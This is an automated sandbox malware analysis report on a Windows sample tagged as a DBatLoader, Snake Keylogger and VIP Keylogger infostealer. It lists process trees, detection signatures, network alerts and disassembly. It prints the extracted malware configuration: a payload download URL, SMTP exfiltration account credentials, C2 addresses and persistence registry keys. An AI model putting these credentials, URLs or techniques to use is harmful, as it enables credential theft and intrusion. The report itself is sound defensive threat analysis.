Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
image.exe

Overview

General Information

Sample name:image.exe
Analysis ID:1583390
MD5:4f481037138109f314141b4fede21f87
SHA1:e28504f330d3d8586d36e3ff270fdfc0821e0cc2
SHA256:f65d5f51c5b69891d73c3799b4ed4d53fea665a6ef5b3d0cce8cae1e96c0e785
Tags:downloaderexemalwaretrojanuser-Joker
Infos:

Detection

DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected DBatLoader
Yara detected PureLog Stealer
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
.NET source code contains method to dynamically call methods (often used by packers)
AI detected suspicious sample
Allocates many large memory junks
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Drops PE files with a suspicious file extension
Initial sample is a PE file and has a suspicious name
Machine Learning detection for dropped file
Machine Learning detection for sample
Sample is not signed and drops a device driver
Sample uses process hollowing technique
Sigma detected: DLL Search Order Hijackig Via Additional Space in Path
Sigma detected: Execution from Suspicious Folder
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Suspicious Program Location with Network Connections
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Writes to foreign memory regions
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a connection to the internet is available
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to launch a process as a different user
Contains functionality to query locales information (e.g. system language)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (may stop execution after checking a module file name)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Suspicious Outbound SMTP Connections
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses SMTP (mail sending)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Process Tree

  • System is w10x64
  • image.exe (PID: 7276 cmdline: "C:\Users\user\Desktop\image.exe" MD5: 4F481037138109F314141B4FEDE21F87)
    • cmd.exe (PID: 7364 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 7372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • nhpoymuP.pif (PID: 7416 cmdline: C:\Users\Public\Libraries\nhpoymuP.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)
  • Pumyophn.PIF (PID: 7584 cmdline: "C:\Users\Public\Libraries\Pumyophn.PIF" MD5: 4F481037138109F314141B4FEDE21F87)
    • cmd.exe (PID: 7644 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 7652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • nhpoymuP.pif (PID: 7688 cmdline: C:\Users\Public\Libraries\nhpoymuP.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)
  • Pumyophn.PIF (PID: 7912 cmdline: "C:\Users\Public\Libraries\Pumyophn.PIF" MD5: 4F481037138109F314141B4FEDE21F87)
    • cmd.exe (PID: 7976 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 7996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • nhpoymuP.pif (PID: 8008 cmdline: C:\Users\Public\Libraries\nhpoymuP.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
DBatLoaderThis Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader
NameDescriptionAttributionBlogpost URLsLink
404 Keylogger, Snake KeyloggerSnake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://fodoknotel.za.com/233_Pumyophnrer"]}

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "info@techniqueqatar.com", "Password": "TechFB2023$$$", "Host": "mail.techniqueqatar.com", "Port": "587", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "info@techniqueqatar.com", "Password": "TechFB2023$$$", "Host": "mail.techniqueqatar.com", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000002.1714114145.0000000002406000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_DBatLoaderYara detected DBatLoaderJoe Security
    0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
      0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_GenericDownloader_1Yara detected Generic DownloaderJoe Security
        0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_VIPKeyloggerYara detected VIP KeyloggerJoe Security
          0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_TelegramRATYara detected Telegram RATJoe Security
            Click to see the 106 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            3.1.nhpoymuP.pif.400000.0.raw.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
            • 0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
            • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
            • 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
            • 0x2018a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
            • 0x1fdd0:$s5: delete[]
            • 0x1f288:$s6: constructor or from DllMain.
            7.2.nhpoymuP.pif.400000.0.raw.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
            • 0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
            • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
            • 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
            • 0x2018a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
            • 0x1fdd0:$s5: delete[]
            • 0x1f288:$s6: constructor or from DllMain.
            14.1.nhpoymuP.pif.400000.0.raw.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
            • 0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
            • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
            • 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
            • 0x2018a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
            • 0x1fdd0:$s5: delete[]
            • 0x1f288:$s6: constructor or from DllMain.
            14.1.nhpoymuP.pif.400000.0.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
            • 0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
            • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
            • 0x700:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
            • 0x1ed8a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
            • 0x1e9d0:$s5: delete[]
            • 0x1de88:$s6: constructor or from DllMain.
            7.2.nhpoymuP.pif.400000.0.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
            • 0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
            • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
            • 0x700:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
            • 0x1ed8a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
            • 0x1e9d0:$s5: delete[]
            • 0x1de88:$s6: constructor or from DllMain.
            Click to see the 328 entries

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: DLL Search Order Hijackig Via Additional Space in Path
            Source: File createdAuthor: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\user\Desktop\image.exe, ProcessId: 7276, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll
            Sigma detected: Execution from Suspicious Folder
            Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\nhpoymuP.pif, CommandLine: C:\Users\Public\Libraries\nhpoymuP.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\nhpoymuP.pif, NewProcessName: C:\Users\Public\Libraries\nhpoymuP.pif, OriginalFileName: C:\Users\Public\Libraries\nhpoymuP.pif, ParentCommandLine: "C:\Users\user\Desktop\image.exe", ParentImage: C:\Users\user\Desktop\image.exe, ParentProcessId: 7276, ParentProcessName: image.exe, ProcessCommandLine: C:\Users\Public\Libraries\nhpoymuP.pif, ProcessId: 7416, ProcessName: nhpoymuP.pif
            Sigma detected: Files With System Process Name In Unsuspected Locations
            Source: File createdAuthor: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\image.exe, ProcessId: 7276, TargetFilename: C:\Windows \SysWOW64\svchost.exe
            Sigma detected: New RUN Key Pointing to Suspicious Folder
            Source: Registry Key setAuthor: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Pumyophn.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\image.exe, ProcessId: 7276, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Pumyophn
            Sigma detected: Parent in Public Folder Suspicious Process
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\Libraries\Pumyophn.PIF" , ParentImage: C:\Users\Public\Libraries\Pumyophn.PIF, ParentProcessId: 7584, ParentProcessName: Pumyophn.PIF, ProcessCommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, ProcessId: 7644, ProcessName: cmd.exe
            Sigma detected: Suspicious Program Location with Network Connections
            Source: Network ConnectionAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 193.122.130.0, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Users\Public\Libraries\nhpoymuP.pif, Initiated: true, ProcessId: 7416, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49732
            Sigma detected: CurrentVersion Autorun Keys Modification
            Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Pumyophn.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\image.exe, ProcessId: 7276, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Pumyophn
            Sigma detected: Execution of Suspicious File Type Extension
            Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\nhpoymuP.pif, CommandLine: C:\Users\Public\Libraries\nhpoymuP.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\nhpoymuP.pif, NewProcessName: C:\Users\Public\Libraries\nhpoymuP.pif, OriginalFileName: C:\Users\Public\Libraries\nhpoymuP.pif, ParentCommandLine: "C:\Users\user\Desktop\image.exe", ParentImage: C:\Users\user\Desktop\image.exe, ParentProcessId: 7276, ParentProcessName: image.exe, ProcessCommandLine: C:\Users\Public\Libraries\nhpoymuP.pif, ProcessId: 7416, ProcessName: nhpoymuP.pif
            Sigma detected: Suspicious Outbound SMTP Connections
            Source: Network ConnectionAuthor: frack113: Data: DestinationIp: 208.91.198.176, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\Public\Libraries\nhpoymuP.pif, Initiated: true, ProcessId: 7688, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49773

            Suricata Signatures

            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2025-01-02T16:04:58.793329+010020283713Unknown Traffic192.168.2.44973123.237.26.135443TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2025-01-02T16:05:31.634624+010028033053Unknown Traffic192.168.2.449742188.114.97.3443TCP
            2025-01-02T16:05:37.149920+010028033053Unknown Traffic192.168.2.449747188.114.97.3443TCP
            2025-01-02T16:05:37.602602+010028033053Unknown Traffic192.168.2.449748188.114.97.3443TCP
            2025-01-02T16:05:39.157162+010028033053Unknown Traffic192.168.2.449751188.114.97.3443TCP
            2025-01-02T16:05:46.962711+010028033053Unknown Traffic192.168.2.449767188.114.97.3443TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2025-01-02T16:05:28.208759+010028032742Potentially Bad Traffic192.168.2.449733193.122.130.080TCP
            2025-01-02T16:05:31.036881+010028032742Potentially Bad Traffic192.168.2.449733193.122.130.080TCP
            2025-01-02T16:05:31.911893+010028032742Potentially Bad Traffic192.168.2.449740193.122.130.080TCP
            2025-01-02T16:05:33.193132+010028032742Potentially Bad Traffic192.168.2.449743193.122.130.080TCP
            2025-01-02T16:05:36.043613+010028032742Potentially Bad Traffic192.168.2.449740193.122.130.080TCP
            2025-01-02T16:05:36.990025+010028032742Potentially Bad Traffic192.168.2.449740193.122.130.080TCP
            2025-01-02T16:05:38.990029+010028032742Potentially Bad Traffic192.168.2.449750193.122.130.080TCP
            2025-01-02T16:05:41.036998+010028032742Potentially Bad Traffic192.168.2.449755193.122.130.080TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2025-01-02T16:05:46.371969+010018100071Potentially Bad Traffic192.168.2.449765149.154.167.220443TCP
            2025-01-02T16:05:52.527368+010018100071Potentially Bad Traffic192.168.2.449772149.154.167.220443TCP

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Found malware configuration
            Source: image.exeMalware Configuration Extractor: DBatLoader {"Download Url": ["https://fodoknotel.za.com/233_Pumyophnrer"]}
            Source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmpMalware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "info@techniqueqatar.com", "Password": "TechFB2023$$$", "Host": "mail.techniqueqatar.com", "Port": "587", "Version": "4.4"}
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpackMalware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "info@techniqueqatar.com", "Password": "TechFB2023$$$", "Host": "mail.techniqueqatar.com", "Port": "587", "Version": "4.4"}
            Multi AV Scanner detection for dropped file
            Source: C:\Users\Public\Libraries\Pumyophn.PIFReversingLabs: Detection: 15%
            Multi AV Scanner detection for submitted file
            Source: image.exeReversingLabs: Detection: 15%
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
            Machine Learning detection for dropped file
            Source: C:\Users\Public\Libraries\Pumyophn.PIFJoe Sandbox ML: detected
            Machine Learning detection for sample
            Source: image.exeJoe Sandbox ML: detected

            Location Tracking

            barindex
            Tries to detect the country of the analysis system (by using the IP)
            Source: unknownDNS query: name: reallyfreegeoip.org

            Compliance

            barindex
            Detected unpacking (overwrites its own PE header)
            Source: C:\Users\Public\Libraries\nhpoymuP.pifUnpacked PE file: 3.2.nhpoymuP.pif.400000.0.unpack
            Source: C:\Users\Public\Libraries\nhpoymuP.pifUnpacked PE file: 7.2.nhpoymuP.pif.400000.0.unpack
            Source: C:\Users\Public\Libraries\nhpoymuP.pifUnpacked PE file: 14.2.nhpoymuP.pif.400000.0.unpack
            Source: image.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
            Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49741 version: TLS 1.0
            Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.0
            Source: unknownHTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.4:49731 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49765 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49772 version: TLS 1.2
            Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: \??\C:\Windows\dll\mscorlib.pdb source: nhpoymuP.pif, 00000003.00000003.1932254507.000000002D812000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: easinvoker.pdb source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020AD0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020B5D000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: _.pdb source: nhpoymuP.pif, 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1840188323.000000002586F000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: easinvoker.pdbGCTL source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702911770.00000000218D2000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702911770.0000000021901000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020AD0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020B5D000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825586433.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825586433.0000000000906000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000009.00000003.1905153099.0000000000748000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000009.00000003.1905153099.0000000000719000.00000004.00000020.00020000.00000000.sdmp
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02C958B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,0_2_02C958B4
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h3_2_2F55DC80
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then mov ecx, dword ptr [ebp-38h]3_2_3250BED0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then mov ecx, dword ptr [ebp-38h]3_2_3250BEC8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then mov dword ptr [ebp-20h], 7FFFFFFFh3_2_3250BFD4
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then mov dword ptr [ebp-20h], 7FFFFFFFh3_2_3250BFE0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h7_2_2740DC80
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 27A8F2B5h7_2_27A8F0C8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 27A8FC3Fh7_2_27A8F0C8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h7_2_27A8E5E8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 27A8E0C5h7_2_27A8E114
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 27A8E0C5h7_2_27A8DF07
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h7_2_27A8EDFB
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h7_2_27A8EC1B
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 2B6F10E9h7_2_2B6F0E38
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 2B6F185Dh7_2_2B6F1440
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 2B6FCDE1h7_2_2B6FCB38
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 2B6FFDA9h7_2_2B6FFB00
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 2B6FD691h7_2_2B6FD3E8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 2B6F185Dh7_2_2B6F178B
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 2B6FD239h7_2_2B6FCF90
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 2B6FF4F9h7_2_2B6FF250
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 2B6FC0D9h7_2_2B6FBE30
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 2B6FC989h7_2_2B6FC6E0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 2B6FF951h7_2_2B6FF6A8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 2B6FC531h7_2_2B6FC288
